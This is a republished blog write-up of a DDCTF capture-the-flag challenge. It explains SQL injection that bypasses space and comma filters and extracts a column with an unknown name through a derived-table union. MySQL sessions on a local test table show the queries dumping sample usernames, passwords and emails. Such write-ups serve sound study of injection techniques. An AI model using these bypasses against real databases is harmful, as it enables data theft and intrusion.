Preface This article introduces the fifth question of DDCTF, the technique of bypassing unknown field names. Here I use the local machine to operate it. The idea is great and clear. Share it with everyone. Let's take a look at the detailed introduction: Implementation ideas The question filters spaces and commas. Spaces can be bypassed using %0a, %0b, %0c, %0d, %a0, or parentheses directly. Commas can be bypassed using join. The field name storing the flag is unknown, and information_schema.columns also filters the hex of the table name, that is, the field name cannot be obtained; in this case, a joint query can be used, and the process is as follows: The idea is to get the flag and make it appear under a known field name; Sample code: mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | a | b | c | d | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user; +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | | 1 | admin | admin888 | [email protected] | | 2 | test | test123 | [email protected] | | 3 | cs | cs123 | [email protected] | +---+-------+----------+-------------+ 4 rows in set (0.01 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e; +-------------+ | 4 | +-------------+ | 4 | | [email protected] | | [email protected] | | [email protected] | +-------------+ 4 rows in set (0.03 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3; +-------------+ | 4 | +-------------+ | [email protected] | +-------------+ 1 row in set (0.01 sec) mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i; +-------------+----------+----------+-------------+ | id | username | password | email | +-------------+----------+----------+-------------+ | 1 | admin | admin888 | [email protected] | | [email protected] | 1 | 1 | 1 | +-------------+----------+----------+-------------+ 2 rows in set (0.04 sec) Summarize The above is the full content of this article. I hope that the content of this article can bring some help to your study or work. If you have any questions, you can leave a message to communicate. Thank you for your support of 123WORDPRESS.COM. You may also be interested in:
|
<<: Tomcat obtains the client domain name of Nginx reverse proxy
>>: How to reduce image size using Docker multi-stage build
How to set the position of the block element in t...
In Beginners' Understanding MySQL Deadlock Pr...
This article example shares the specific code of ...
Table of contents 1. Routing related objects 2. L...
system: VMTOOLs Download: Link: https://pan.baidu...
This article example shares the specific code for...
Non-orthogonal margins When margin is used, it wi...
Since Uniapp does not have DingTalk authorization...
This article describes how to use MySQL to export...
Table of contents Base Return Type String and Boo...
Today, when I was practicing with the Baidu page,...
If you have installed the Win10 system and want t...
Table of contents 1. Docker Image 2. Create an in...
The virtual machine used is CentOS 8.4, which sim...
1. Cause The official cerbot is too annoying. It ...